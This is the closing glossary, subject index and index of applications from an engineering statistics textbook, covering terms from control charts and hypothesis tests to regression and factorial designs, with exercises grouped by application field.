Second-order model. A model that contains second-order terms. For example, the second-order response surface model in two variables is $y = \beta_0 + \beta_1 x_1 + \beta_2 x_2 + \beta_{12} x_1 x_2 + \beta_{11} x_1^2 + \beta_{22} x_2^2 + \epsilon$. The second order terms in this model are $\beta_{12} x_1 x_2$, $\beta_{11} x_1^2$, and $\beta_{22} x_2^2$.

Shewhart control chart. A specific type of control chart developed by Walter A. Shewhart. Typically, each plotted point is a summary statistic calculated from the data in a rational subgroup. *See* Control chart.

Sign test. A statistical test based on the signs of certain functions of the observations and not their magnitudes.

Signed-rank test. A statistical test based on the differences within a set of paired observations. Each difference has a sign and a rank, and the test uses the sum of the differences with regard to sign.

Significance. In hypothesis testing, an effect is said to be significant if the value of the test statistic lies in the critical region.

Significance level. *See* Level of significance.

Six-sigma process. Originally used to describe a process with the mean at least six standard deviations from the nearest specification limits. It has now been used to describe any process with a defect rate of 3.4 parts per million.

Skewness. A term for asymmetry usually employed with respect to a histogram of data or a probability distribution.

Specification limits. Numbers that define the region of measurement for acceptable product. Usually there is an upper and lower limit, but one-sided limits can also be used.

Standard deviation. The positive square root of the variance. The standard deviation is the most widely used measure of variability.

Standard error. The standard deviation of the estimator of a parameter. The standard error is also the standard deviation of the sampling distribution of the estimator of a parameter.

Standard normal random variable. A normal random variable with mean zero and variance one that has its cumulative distribution function tabulated in Appendix Table II.

Standardize. The transformation of a normal random variable that subtracts its mean and divides by its standard deviation to generate a standard normal random variable.

Standardized residual. In regression, the standardized residual is computed by dividing the ordinary residual by the square root of the residual mean square. This produces scaled residuals that have, approximately, a unit variance.

Statistic. A summary value calculated from a sample of observations. Usually, a statistic is an estimator of some population parameter.

Statistical inference. *See* Inference.

Statistical Process Control (SPC). A set of problem-solving tools based on data that are used to improve a process.

Statistical quality control. Statistical and engineering methods used to measure, monitor, control, and improve quality.

Statistics. The science of collecting, analyzing, interpreting, and drawing conclusions from data.

Steepest ascent (or descent). A strategy for a series of tests to optimize a response used along with response surface models.

Stem-and-leaf diagram. A method of displaying data in which the stem corresponds to a range of data values and the leaf represents the next digit. It is an alternative to the histogram but displays the individual observations rather than sorting them into bins.

Stepwise regression. A method of selecting variables for inclusion in a regression model. It operates by introducing the candidate variables one at a time (as in forward selection) and then attempting to remove variables following each forward step.

Studentized range. The range of a sample divided by the sample standard deviation.

Studentized residual. In regression, the studentized residual is calculated by dividing the ordinary residual by its exact standard deviation, producing a set of scaled residuals that have, exactly, unit standard deviation.

Sufficient statistic. An estimator is said to be a sufficient statistic for an unknown parameter if the distribution of the sample given the statistic does not depend on the unknown parameter. This means that the distribution of the estimator contains all of the useful information about the unknown parameter.

Tabular CUSUM. A numerical algorithm used to detect assignable causes on a cumulative sum control chart. *See V* mask.

Tampering. Another name for overcontrol.

***t* Distribution.** The distribution of the random variable defined as the ratio of two independent random variables. The numerator is a standard normal random variable and the denominator is the square root of a chi-square random variable divided by its number of degrees of freedom.

Test statistic. A function of a sample of observations that provides the basis for testing a statistical hypothesis.

Time series. A set of ordered observations taken at points in time.

Tolerance interval. An interval that contains a specified proportion of a population with a stated level of confidence.

Tolerance limits. A set of limits between which some stated proportion of the values of a population must fall with a specified level of confidence.

Total probability rule. Given a collection of mutually exclusive events whose union is the sample space, the probability of an event can be written as the sum of the probabilities of the intersections of the event with the members of this collection.

Treatment. In experimental design, a treatment is a specific level of a factor of interest. Thus, if the factor is temperature, the treatments are the specific temperature levels used in the experiment.

Treatment effect. The mean change to the response due to the presence of the treatment.

Treatment sum of squares. In analysis of variance, this is the sum of squares that accounts for the variability in the response variable due to the different treatments that have been applied.

***t*-test.** Any test of significance based on the t distribution. The most common t-tests are (1) testing hypotheses about the mean of a normal distribution with unknown variance, (2) testing hypotheses about the means of two normal distributions, and (3) testing hypotheses about individual regression coefficients.

Two-level factorial experiment. A full or fractional factorial experiment with all factors tested at only two levels (settings) each. *See* 2^k factorial experiment.

Type I error. In hypothesis testing, an error incurred by rejecting a null hypothesis when it is actually true (also called an α-error).

Type II error. In hypothesis testing, an error incurred by failing to reject a null hypothesis when it is actually false (also called a β-error).

***U* chart.** An attribute control chart that plots the average number of defects per unit in a subgroup. Also called a defects-per-unit control chart. Similar to a C chart.

Unbiased estimator. An estimator that has its expected value equal to the parameter that is being estimated is said to be unbiased.

Uniform random variable. Refers to either a discrete or continuous uniform random variable.

Uniqueness property of moment generating function. Refers to the fact that random variables with the same moment generating function have the same distribution.

Universe. Another name for *population.*

***V* mask.** A geometrical figure used to detect assignable causes on a cumulative sum control chart. With appropriate values for parameters, identical conclusions can be made from a V mask and a tabular CUSUM.

Variable selection. The problem of selecting a subset of variables for a model from a candidate list that contains all or most of the useful information about the response in the data.

Variables control chart. Any control chart for a continuous random variable. *See* Attribute control chart.

Variance. A measure of variability defined as the expected value of the square of the random variable around its mean.

Variance component. In analysis of variance models involving random effects, one of the objectives is to determine how much variability can be associated with each of the potential sources of variability defined by the experimenters. It is customary to define a variance associated with each of these sources. These variances in some sense sum to the total variance of the response, and are usually called variance components.

Variance inflation factors. Quantities used in multiple regression to assess the extent of multicollinearity (or near linear dependence) in the regressors. The variance inflation factor for the ith regressor VIF_i can be defined as $VIF_i = [1/(1 - R_i^2)]$, where R_i^2 is the coefficient of determination obtained when x_i is regressed on the other regressor variables. Thus, when x_i is nearly linearly dependent on a subset of the other regressors, R_i^2 will be close to unity and the value of the corresponding variance inflation factor will be large. Values of the variance inflation factors that exceed 10 are usually taken as a signal that multicollinearity is present.

Warning limits. Horizontal lines added to a control chart (in addition to the control limits) that are used to make the chart more sensitive to assignable causes.

Weibull random variable. A continuous random variable that is often used to model the time until failure of a physical system. The parameters of the distribution are flexible enough that the probability density function can assume many different shapes.

Western Electric rules. A specific set of run rules that were developed at Western Electric Corporation. *See* Run rules.

Wilcoxon rank-sum test. A nonparametric test for the equality of means in two populations. This is sometimes called the Mann-Whitney test.

Wilcoxon signed-rank test. A distribution-free test of the equality of the location parameters of two otherwise identical distributions. It is an alternative to the two-sample t-test for nonnormal populations.

With replacement. A method to select samples in which items are replaced between successive selections.

Without replacement. A method to select samples in which items are *not* replaced between successive selections.

$\overline{X}$ chart. A control chart that plots the average of the measurements in a subgroup that is used to monitor the process mean.

Index

2^2 factorial design, 571
2^3 factorial design, 577
2^k designs-mask on a cumulative sum control chart, 678
2^k factorial designs, 571
2^{k-1} design, 602
2^{k-p} fractional factorial designs, 608

A

Acceptance region, 286, also see critical region
Actual capability of a process, 664
Addition of center points to a 2^k design, 588
Addition rules of probability, 37
Adjusted R^2, 472
Aliases in a fractional factorial design, 603
All possible regression, 495
Alternate fraction, 604
Alternative hypothesis, 285, 292
Analysis of a second-order response surface model, 622
Analysis of variance (ANOVA), 417, 470, 520, 523, 534, 539, 540, 559
Analytic study, 12
ANOVA sum of squares identity for a randomized complete block design, 539
ANOVA sum of squares identity for a single-factor experiment, 518
ANOVA sum of squares identity for a two-factor factorial experiment, 560
Approximate sampling distribution of a difference in two sample means, 229
Assignable causes, 640
Attributes control charts, 643, 668
Average run length, 674
Axioms of probability, 34

B

Backward variable elimination in regression, 500
Bayes' theorem, 55, 56
Bayesian estimation of parameters, 244
Bayesian networks, 56
Bernoulli trial, 80, 86, 440
Beta distribution, 146, 147, 704
Beta random variable, 146
Bias of an estimator, 231
Binomial distribution, 79, 81, 127, 704
Binomial expansion, 81
Binomial probability table, 705
Binomial random variable, 81
Bivariate normal distribution, 177
Bivariate probability distributions, 154
Blocking, 538, 595
Bounds on a *P*-value, 311
Box plots, 208

C

Calculating normal probabilities, 123
Calculation of interaction effects in a 2^k factorial, 572, 578, 580
Categorical regressor variables, 492
Cause-and-effect relationships, 6, 352, 405
Center line on a control chart, 11
Center points and checking for curvature, 588
Central composite design, 622, 625
Central limit theorem, 118, 227
Chance causes, 640
Chi-square distribution, 266
Chi-square distribution percentage points, 710
Chi-square goodness of fit test, 330
Combinations, 26, 27
Comparative experiments, 7, 285, 351
Complement of an event, 23
Completely randomized design, 517
Completely randomized experiment, 315, 515
Components of variance, 518, 534
Conditional distribution of bivariate normal random variables, 179
Conditional probability, 41, 42
Conditional probability distributions, 158, 159
Confidence coefficient, 254
Confidence interval, 252, 253, 254, 295, 358, 368, 369, 379
Confidence interval on a correlation coefficient, 433
Confidence interval on the difference in means of two normal distributions, variances known, 358
Confidence interval on the difference in means of two normal distributions, variances unknown, 368, 369
Confidence interval on the difference in two proportions, 392
Confidence interval on the mean response in regression, 421, 480
Confidence interval on the ratio of the variances of two normal distributions, 387
Confidence intervals on a proportion, 271, 272
Confidence intervals on means in ANOVA, 521, 522, 523
Confidence intervals on regression coefficients, 421, 479
Confidence intervals on the mean of a normal distribution, variance known, 253, 254, 257
Confidence intervals on the mean of a normal distribution, variance unknown, 261, 263
Confidence intervals on the variance and standard deviation of a normal distribution, 266, 268
Confounding, 595
Connection between hypothesis testing and confidence intervals, 295
Contingency tables, 333
Continuity correction, 128
Continuous random variable, 58, 107, 108, 110, 144
Continuous sample space, 20
Continuous uniform distribution, 116, 704
Continuous uniform random variable, 116
Contrasts and effect estimates in a 2^k factorial, 573
Contrasts in a 2^k factorial, 573
Control chart, 11, 639
Control chart constants, 728

Control chart for defects per unit, 670
Control chart model, 642
Control chart performance, 673
Control charts for individual measurements, 658
Cook's distance, 487
Correlation, 170, 173
Correlation and independent random variables, 174
Correlation coefficient, 432
Counting techniques, 24, 25, 26
Covariance, 170, 171
Covariance matrix, 461
C_p statistic in regression, 495
Critical region, 286
Critical values, 286
Cumulative distribution function, 71, 72, 111, 112
Cumulative frequency plot, 206
Cumulative sum control chart, 676

D

Data collection, 5
Data versus information, 6
Decision interval, 679
Defect concentration diagram, 689
Defining contrast, 596
Defining relation for a fractional factorial design, 602, 609
Deming's 14 points, 690
Descriptive statistics, 191
Design generator, 602
Design matrix, 577
Design of a control chart, 644
Design resolution, 608
Designed experiment, 5, 6, 296, 405, 513, 514, 552
Diagonal elements of the hat matrix, 486
Digidot plot, 211
Discrete random variables, 58, 66, 67
Discrete sample space, 20, 31
Discrete uniform distribution, 77, 704
Distribution of a subset of random variables, 165
Dot diagram, 4

E

Effect of sample size on type II error probability, 290
Empirical model, 12, 13, 402
Engineering method, 2
Enumerative study, 12
Equally likely outcomes, 32
Erlang distribution, 138, 704
Estimation of parameters, 195
Events, 18, 22, 23
Expected value, 74, 114
Expected value of a function of a continuous random variable, 114
Expected value of a function of a discreet random variable, 76
Expected value of a function of two random variables, 171
Exponential distribution, 132, 704
Exponential random variable, 132
Exponentially weighted moving average (EWMA) control chart, 682
Extra sum of squares method, 474
Extrapolation in regression, 482

F

Factor levels, 7
Factorial experiment, 7, 552, 555, 557, 558, 568, 571
Factorial experiments and interaction, 557
F-distribution, 382
F-distribution percentage points, 712
Finite population correction factor, 95
First quartile, 201
First-order response surface model, 619
Fisher least significance difference method of comparing means following ANOVA, 524
Fixed-effects model, 517, 559
Fixed significance level testing, 294, 312, 324
Formulating one-sided hypotheses, 293
Forward variable selection in regression, 500
Fraction defective control chart, 668
Fractional factorial experiment, 8, 9, 602
Frequency distributions, 203
Fundamental theorem of calculus, 112

G

Gamma distribution, 138, 139, 704
Gamma function, 139
Gamma random variable, 139
Gaussian distribution, 118, also see normal distribution
General factorial experiments, 568
General functions of random variables, 185, 186
General regression significance test, 474
Generalized interaction, 599
Geometric distribution, 86, 704
Geometric random variable, 86
Goodness-of-fit tests, 330
Graphical comparison of means following ANOVA, 525

H

Hat matrix in regression, 486
Histogram, 109, 203, 204
Hypergeometric distribution, 92, 93, 704
Hypergeometric random variable, 93
Hypothesis, 284
Hypothesis testing, 7, 223, 284, 286, 295, 296, 299, 310, 319, 330, 333, 337, 342, 358, 362, 373, 384
Hypothesis testing on a population proportion, 323
Hypothesis testing on the difference in means of two normal distributions, variances unknown, 361, 362, 365
Hypothesis testing on the difference in two proportions, 389
Hypothesis testing on the mean of a normal distribution, variance known, 299
Hypothesis testing on the mean of a normal distribution, variance unknown, 310
Hypothesis testing on the ratio of the variances of two normal distributions, 384
Hypothesis testing on the variance and standard deviation of a normal distribution, 319

I

Independence, 50, 161
Independent events, 51
Independent random variables, 161, 162, 166
Indicator variables in regression, 492
Influential observations in regression, 487
Interaction, 8, 452, 555
Interpreting a confidence interval, 255
Interquartile range, 201
Intersection of events, 23

J

Jacobian, 186
Joint probability density function, 155
Joint probability distributions, 152, 153, 155, 163, 176
Joint probability mass function, 154

L

Lack of memory property of the exponential random variable, 134, 135
Lack of memory property of the geometric random variable, 88
Large sample confidence interval for a parameter, 269
Large sample hypothesis testing on the mean of a normal distribution, 307
Large sample test for difference in two means, 355
Large-sample confidence interval for the mean, 258
Least squares estimators, 407, 408, 454, 457
Least squares normal equations for multiple linear regression, 454, 456
Least squares normal equations for simple linear regression, 407
Likelihood function, 239
Linear combinations of random variables, 181
Logistic regression, 440
Logit response function, 441
Lognormal distribution, 144, 704

Lognormal random variable, 144
Lower confidence limit, 254
Lower control limit, 11, 645

M

Main effect, 555, 572, 578, 579
Marginal distributions of bivariate normal random variables, 178
Marginal probability distribution, 156, 157, 164
Maximum likelihood estimator, 239, 240
Mean and variance of a continuous random variable, 114
Mean and variance of a discrete random variable, 74
Mean and variance of an average, 183
Mean of a linear combination of random variables, 182
Mean squared error of an estimator, 234
Mean squares, 519
Mechanistic model, 12, 13
Median, 199, 337
Method of least squares, 406, 452
Method of maximum likelihood, 239
Method of moments, 237
Method of steepest ascent, 620
Minimum variance unbiased estimator, 233
Model adequacy checking, 426, 484, 526, 527, 544, 564
Moment estimators, 238
Moments, 237
Moving range control chart, 658
Multicollinearity in regression, 502
Multinomial probability distribution, 176
Multiple comparisons in ANOVA, 524, 542
Multiple linear regression model, 450
Multiplication rule for counting techniques, 25
Multiplication rule for probability, 47
Mutually exclusive events, 23, 39

N

Negative binomial distribution, 86, 88, 89
Noncentral *t* distribution, 315
Nonparametric statistical tests, 337, 342, 344, 373
Normal approximation for the sign test, 340
Normal approximation to Poisson distribution, 127, 130
Normal approximation to the binomial distribution, 127, 128, 270
Normal distribution, 118, 704
Normal probability plot, 215, 216
Normal probability plot of effects, 606, 611
Normal probability plotting of effects, 585
Normal probability plotting of residuals, 426, 485, 526, 544, 565, 576
Normal random variable, 119
Nuisance variables in an experiment, 538
Null hypothesis, 285

O

Observational study, 5, 6, 352
One observation per cell in a factorial, 566
One-half fraction, 9
One-sided and two-sided hypotheses, 292, 300, 311, 320
One-sided confidence bounds, 257, 264, 268, 272
Operating characteristic curves, 305, 315, 322, 527, 717, 718, 719, 720.721, 722, 723, 724, 725
Optimal estimator, 235
Optimization experiment, 553, 619
Ordered stem-and-leaf diagram, 199
Orthogonal design, 581
Outlier, 208
Outliers, 486
Overcontrol, 10
Overfitting, 472

P

Paired *t*-test, 376
Parameter estimation, 223
Pareto chart, 207, 688
Partial *F*-test, 475
Partial regression coefficients, 451
Patterns on control charts, 647
P-chart, 668
Percentile, 201
Permutations of similar objects, 26
Permutations, 25
Point estimate, 224
Point estimation, 224, 231, 237
Point estimator, 225
Poisson distribution, 97, 98, 127, 130, 704
Poisson process, 98
Poisson random variable, 98
Polynomial regression models, 451, 490
Pooled estimate of variance, 362
Pooled *t*-test, 362
Population standard deviation, 195
Population variance, 195
Population, 4
Posterior distribution, 244
Potential capability of a process, 664
Power of a statistical test, 292
Prediction interval for a future observation, 274, 275
Prediction interval in regression, 423, 481
PRESS statistic in regression, 496
Principal block, 596
Principal fraction, 604
Prior distribution, 244
Probability, 15, 17, 31, 33
Probability as degree of belief, 32
Probability density function, 108, 109
Probability distribution, 68, 107
Probability mass function, 69
Probability model, 16
Probability plots, 214, 330
Process capability determination, 662
Process capability ratios, 663, 665
Projection of 2^k designs, 584
Projection of a fractional factorial design, 607
Properties of the maximum likelihood estimator, 241
P-value, 294, 300, 311, 321, 324, 386

Q

Quality control and improvement, 638
Quartiles, 200

R

R chart, 651
R^2, 428, 472
Raleigh distribution, 142
Random effects model in ANOVA, 534
Random experiments, 18, 19
Random factors in an experiment, 533
Random sample, 43, 44, 226
Random variable, 4, 57, 58
Randomization, 6, 526, 558
Randomized complete block design (RCBD), 538
Randomized complete block design ANOVA, 540
Rational subgroups, 646
Reference distribution, 301, 354
Reference value, 679
Regression coefficients in a 2^k factorial, 575
Regression model, 14, 401, 402, 404, 449, 450, 574, 583
Regressor variable, 405, 451
Relative efficiency of an estimator, 235
Relative frequency distribution, 204
Relative frequency, 32
Replication, 515
Reproductive property of the normal distribution, 183
Residual, 407, 457, 526, 544, 564, 574
Residual plots, 426, 484, 485, 526, 544, 564, 576, 577, 583
Resolution of designs, 608
Resolution III designs, 608
Resolution IV designs, 608
Response surface, 619
Response variable, 405
Retrospective study, 5
Rotatable second-order design, 625
Runs rules for control charts, 649

S

Sample, 4
Sample correlation coefficient, 432
Sample mean, 192
Sample range, 195
Sample sizes for confidence intervals, 256, 272, 359

Sample sizes in ANOVA, 527
Sample sizes in hypothesis tests, 303, 304, 305. 314, 322, 326, 356, 357, 367, 387, 391
Sample space, 18, 19, 20
Sample standard deviation, 193
Sample variance, 193
Sampling distribution, 224, 225, 226
Sampling with replacement, 27
Sampling without replacement, 27
Saturated fractional factorial design, 615
Scatter diagram, 403
Scatter, see variability
Science of data, see statistics
Scientific method, 2
Screening experiment, 553
Second-order response surface model, 619, 622
Sensitivity of a statistical test, 292
Shewhart control charts, 642
Sign test, 337, 340, 341, 344
Sign test critical values, 726
Simple linear regression model, 404, 405
Single replicate of a 2^k design, 585
Single-sample hypothesis testing, 7, 310, 319, 323
Six-sigma process, 666
Sources of variability, 3
Sparsity of effects principle, 585
Standard deviation, 74, 114
Standard error of a point estimator, 233
Standard error of a regression coefficient in a 2^k factorial, 575
Standard error of regression coefficients, 415, 461
Standard normal distribution, 120, 144, 301
Standard normal distribution cumulative probability table, 708
Standard normal random variable, 120, 144
Standardized residuals, 484
Standardizing a normal random variable, 122
Statistic, 224, 226
Statistical inference, 4, 223, 225
Statistical process control (SPC), 12
Statistical process control, 640
Statistical quality control, 638, 639
Statistical thinking, 4
Statistical versus practical significance, 296, 297
Statistics, 3
Stem-and-leaf diagrams, 197
Stepwise regression, 499, 500
Strong versus weak conclusions in hypothesis testing, 291, 292
Studentized residuals, 430, 486
Summary table and guidelines for one-sample inference procedures, 274
Summary table and guidelines for two-sample inference procedures, 395
Sums of squares in a 2^k factorial, 573

T

Tabular cumulative sum control chart, 679
t-distribution, 262, 310, 315
t-distribution percentage points, 711
Test for significance of regression, 416, 417, 470
Test for zero correlation, 433
Test of homogeneity in a contingency table, 335
Test of independence in a contingency table, 333
Test statistic, 100, 310, 319, 324
Tests on individual regression coefficients in multiple regression, 472
Third quartile, 201
Three-sigma control limits, 673
Tier chart, 662
Ties in the sign test, 340
Time series data, 9, 210
Time series plot, 9, 210
Time weighted control charts, 676
Tolerance chart, 662
Tolerance interval for a normal distribution, 276
Total probability, 47, 48
Transformation of variables, 437
Treatments, 351, 515
Tree diagram, 21
t-test statistic for a regression coefficient in a 2^k factorial, 575
t-tests in multiple regression, 473
t-tests in simple linear regression, 415
t-tests, 310, 362, 365, 376, 415, 473, 575
Two-factor factorial experiment, 558
Two-factor interaction, 556
Two-sample hypothesis testing, 7
Type I error, 287, 288
Type II error, 287, 289, 290, 292, 303, 367, 459, 460

U

U-chart, 670
Unbalanced single-factor design ANOVA, 523
Unbiased estimator, 231, 409, 414
Union of events, 23
Upper confidence limit, 254
Upper control limit, 11, 645

V

Variability, 3
Variable selection in regression, 472, 494, 499
Variables control charts, 643
Variance component estimation, 535
Variance inflation factors, 502
Variance of a linear combination of random variables, 182
Variance of a point estimator, 232
Venn diagram, 23
Verifying assumptions, 214

W

Warning limits on control charts, 649
Weibull distribution, 141, 704
Weibull random variable, 141
Western Electric rules on control charts, 648
Wilcoxon rank-sum test, 373
Wilcoxon rank-sum test critical values, 727
Wilcoxon signed-rank test, 342, 344
Wilcoxon signed-rank test critical values, 736
Word in a defining relation, 609

X

$\overline{X}$ and *R* charts, 649
$\overline{X}$ and *S* chart, 651, 652

Z

Z-tests, 299, 323, 358

Bolts in bearing cap and plate — Exercises 2-177, 3-170, 5-77
Brake contact resistance — Exercises 13-45
Casing for a gear housing — Example 2-9
Cast aluminum parts — Exercise 2-27
Circular tubes yield strength — Exercise 6-10
Cold start ignition time — Exercises 6-53, 6-64, 6-98
Connector pull-off force — Exercises 6-67, 7-28, 9-4, 9-131
Copper plate warping — Exercises 14-6, 14-9
Cycles to failure — Exercises 6-23, 6-27, 6-39, 6-43, 6-79
Deflection temperature for plastic pipe — Exercise 10-18
Dot diameter — Exercises 4-70, 4-174
Drag coefficient — Exercises 6-18, 6-56, 6-105
Electromechanical product — Exercise 2-44
F-117A mission duration — Exercise 6-13
Fatigue crack growth — Exercise 14-8
Flatness distortion — Exercise 14-62
Fretting wear — Exercises 11-9,11-47, 11-57, 11-61, 11-63
Gap width of a magnetic recording head — Exercise 4-23
Glass bottle thickness — Exercises 8-40, 8-70, 8-72, 8-82
Height of leaf springs — Exercise 14-73
Hole diameter — Examples 4-2, 4-4, 4-8, 4-31, 8-39; Exercises 8-10, 9-74, 15-21, 15-63
Jet-turbine or rocket thrust — Exercises 12-74,12-96, 12-97, 12-101
Machined dimensions — Examples 5-12, 5-13
Mechanical assembly — Example 3-27
Missile miss distance — Example 14-7
Molded parts — Example 2-1
Nonconforming coil springs — Exercises 6-91, 9-134
Nozzle velocity — Exercise 13-37
Particleboard deflection — Exercises 11-14,11-34
Precision measuring instruments — Exercise 9-132
Robotic insertion tool — Exercise 2-184
Shaft and washer assemblies — Exercise 15-41
Shear strengths — Exercise 10-37
of Rubber — Exercise 12-72
of Spot weld — Exercises 6-31, 6-47, 6-61, 9-136, 11-69
Sheet metal operation — Exercise 2-40
Space shuttle flight control system — Exercises 3-22, 3-57
Spindle saw processes — Exercise 10-25
Surface roughness — Examples 14-2, 14-4, 10-14, 12-13; Exercises 2-78, 2-109, 2-158, 5-19, 13-42, 14-22, 14-67, 14-69
Suspension helmets impact test — Exercise 8-58
Suspension rod, piston rings, PVC pipe, and other diameters — Example 4-16; Exercises 6-7, 6-73, 7-3, 8-13, 8-34, 8-68, 8-78, 10-15, 10-57, 15-7, 15-33, 16-77
Temperature of joint for O-rings — Exercises 6-19, 6-57, 6-77
Tire life — Exercises 8-27, 8-61, 8-73, 9-65, 9-81, 10-39
Tool life — Exercises 14-12, 14-30, 14-56
Wear in auto parts — Exercises 9-41, 10-23
Wire bond strength — Examples 11-8, 12-1, 12-2, 12-3, 12-4, 12-5, 12-6, 12-7, 12-8, 12-9, 12-10, 12-11; Exercises 12-8, 12-28, 12-46, 12-82, 15-9, 15-15, 15-35, 12-76, 16-7, 16-11, 16-29

MEDICAL

ACL reconstruction surgery — Exercises 4-59, 5-61
Antirheumatoid medication — Exercise 5-76
Artificial hearts — Exercise 9-47
Bacteria exposure — Exercise 4-159
Basal metabolic rate (BMR) — Exercise 8-100
Cholesterol level — Exercises 4-60, 10-41
Completing a blood sample test — Exercise 4-154
Diagnostic kit revenue — Exercise 2-200
Diagnostic — Example 2-37
Heart failure — Exercises 2-112, 3-90, 3-107
Hemoglobin level — Exercises 8-86, 8-89
Knee injuries — Exercises 2-76, 3-19
Lung cancer — Exercise 8-56
Meniscal tear — Exercises 8-56, 10-68
Noise exposure and hypertension — Exercise 11-58
Pain medication — Exercises 3-162, 10-84
Patient satisfaction — Exercises 12-5, 12-106
Plasma antioxidants from chocolate — Exercises 13-2, 13-25
Radiation dose in X-ray — Exercises 12-11, 12-31, 12-44, 12-61, 12-79
Recovering from an illness — Exercise 3-161
Salk polio vaccine trials — Exercise 10-79
Sick-leave time — Exercise 4-158
Skin desquamation (peeling) — Exercise 2-88
Success rates in kidney stone removals — Exercise 2-115
Surgical versus medical patients — Exercise 9-104
Syringe length — Exercises 15-10, 15-16
Therapeutic drugs — Exercise 9-133
Tissue assay by liver manganese — Exercise 9-144
Treatment of renal calculi by operative surgery — Exercises 9-89, 9-99
Weight and systolic blood pressure — Exercises 11-72, 11-89

PHYSICS

Alignment accuracy of optical chips — Exercise 14-64
Atomic clock — Exercise 11-94
Current draw in magnetic core — Exercise 11-73
Density measurement error — Exercises 12-13, 12-49, 12-63, 12-81
Density of the earth — Exercise 6-102
Geiger counts — Example 4-23; Exercise 4-93
Laser diode samples — Example 2-15
Laser failure time — Exercises 4-115, 4-160
Number of stars — Exercise 3-133
Optical correlator modulation — Exercises 12-15, 12-33, 12-51, 12-65, 12-83
Oxygen in a superconducting compound — Exercises 13-10, 13-22
Porosity of ultrafine powder — Exercises 11-12, 11-50
Shortened latencies in dry atmosphere — Exercise 8-99
Silver particles in photographic emulsion — Exercise 4-164
Solar intensity — Exercises 6-12, 6-69, 6-76, 8-34
Supercavitation for undersea vehicles — Exercise 9-45
Thermal conductivity — Example 7-5
Transducer calibration — Exercise 3-150
Tube conductivity — Exercises 13-7, 13-21
Velocity of a particle in a gas — Exercise 5-72
Velocity of light — Exercise 6-101
Voids in a ferrite slab — Exercises 2-12, 6-30, 6-46
Wavelength of radiation — Exercise 3-69

SEMICONDUCTOR MANUFACTURING

Examples 2-17, 2-19, 2-20, 2-27, 2-28, 2-33, 3-2, 3-3, 3-5, 3-21, 4-26, 10-11, 10-13, 14-3
Exercises 2-41, 2-92, 2-95, 2-168, 3-21, 3-84, 4-61, 4-80, 5-83, 6-36, 6-50, 6-62, 7-29, 7-44, 9-88, 9-124, 12-9, 12-29, 12-43, 12-69, 14-17, 14-25, 14-41, 14-58, 14-65, 15-18, 15-84

SPORTS

Baseball coefficient of restitution — Exercises 9-62, 9-139
Electromyostimulation — Exercise 8-48
Football helmets — Exercise 9-91
Golf — Examples 9-6, 9-7
Exercises 6-9, 6-33, 6-49, 6-95, 6-99, 9-69, 9-138, 10-29, 10-30, 10-61, 10-62
Hockey player performance — Exercise 9-77
Liveliness of baseballs — Exercises 8-92, 8-93
Major League Baseball — Exercise 12-104
National Hockey League — Exercises 12-18, 12-38, 12-56, 12-70, 12-86
Quarterback ratings — Exercises 11-3, 11-25, 11-41, 11-53, 11-75, 12-17, 12-35, 12-53, 12-59, 12-87

TEXTILE MANUFACTURING

Examples 13-4, 13-5 — Exercises 6-24, 6-28, 6-40, 6-44, 13-29, 14-10, 14-18, 14-32, 14-63
Breaking strength of yarn — Exercises 8-10,10-78, 10-80
Thread elongation of a drapery yarn — Exercises 9-5, 9-6, 9-7, 9-8, 9-9

INDUSTRIAL ENGINEERING AND ECONOMICS

Airlines
Overbooking — Exercises 3-93, 4-180
Arrival and waiting times — Exercises 4-22, 15-15, 15-25, 7-12
Passenger airline miles flown in UK — Exercise 6-70
Automobile features — Examples 2-4, 2-5
Exercise 2-14
Bayesian network — Example 2-38
Breakdowns by shift — Exercise 9-103
Buying tickets by telephone — Exercise 2-179
Calculator owners — Exercise 7-33
College graduates in Tempe — Exercise 9-25
Credit card numbers — Exercises 2-62, 2-135
Customer design evaluation — Exercise 2-147
Customer sampling — Example 3-29
Exercises 2-8, 2-34, 3-173, 9-86
Cytogenic revenue — Exercise 3-25
Diamond prices — Exercise 11-95
Disabled population — Exercise 4-81
Engineering education — Exercises 5-9, 8-105, 8-92, 9-105, 9-108, 11-71
Fraud detection in phone cards — Exercise 2-144
Impact of quality on schedules and costs — Exercise 3-94
Inspection of shipments from suppliers — Exercise 3-182
Inspection — Exercise 9-87
Installation technician service — Exercise 3-172
License numbers — Exercise 2-63
Lottery — Exercise 3-124
Machine schedules — Examples 2-11, 2-36
Monthly champagne sales in France — Exercise 6-91
Multiple choice exam — Exercise 3-88
Optical inspection — Exercise 3-20
Orders for computer systems — Exercises 2-16, 2-35
Parallel parking — Example 10-11
Exercise 10-38
Pension plan preference — Example 9-14
Presidential elections — Exercises 2-110, 2-146, 8-55, 10-69
Price of an electronic storage device — Exercise 3-23
Prices of houses — Exercises 11-4, 11-26, 11-42, 11-54
Printer orders — Exercise 5-94
Product and bar codes — Examples 2-12, 3-13
Exercise 3-67
Repeatability in component assembly — Exercise 10-55
Revenue potential — Example 3-10
Exercise 5-93
Risk analysis — Exercise 5-95
Shipment of customers' orders — Exercise 2-174
Soldiers killed by horse kicks — Exercise 3-135
Survey favoring toll roads — Exercise 9-26
Time between arrivals — Exercises 4-45, 4-99, 4-104, 4-119, 4-162, 5-20, 5-21
Time to
Fill an electronic form — Exercise 4-42
Locate a part — Exercise 5-87
Make pottery — Exercise 5-58
Prepare a micro-array slide — Example 4-24
Recharge a battery — Exercise 4-58
Unemployment data — Exercise 6-85
Unlisted phone numbers — Exercise 10-81

DEFECTIVES, FLAWS, ERRORS

Automobile front lights — Exercise 2-81
Bearings — Example 10-16
Calculators — Exercise 8-96
Computers and fans — Exercises 2-111, 3-109, 4-97
Connector — Exercise 2-107
Cotton rolls — Exercise 2-108
Electronic components — Exercises 4-8, 6-111, 8-101, 9-107, 11-68
Contamination — Exercise 3-140
Integrated circuits — Exercises 7-59, 8-53
Lenses — Exercises 9-90, 10-71, 15-87
Machining stages — Example 2-26
Optical or magnetic disks — Example 3-33
Exercises 3-137, 3-171
Optical alignment — Exercise 3-103
Orange juice containers — Exercise 2-125
Ovens — Exercise 5-45
Oxygen containers — Exercise 2-161
Pareto chart for automobile doors — Exercise 6-52
Printed circuit boards — Example 9-12
Printing — Exercises 4-186, 5-4
Response surface design for yield — Example 14-12
Surface flaws in parts, steel, and panels — Examples 2-23, 2-30
Exercises 3-7, 3-139, 3-176, 3-184, 4-106, 9-97, 15-76
Textbook — Exercise 3-160
Water meter — Exercise 4-82
Wires — Examples 3-31, 3-32
Exercise 15-44
Yield — Examples 6-5, 10-5, 10-7, 14-6
Exercises 5-26, 6-25, 6-41, 8-11, 13-30, 14-20, 14-42, 14-47, 14-53, 14-72

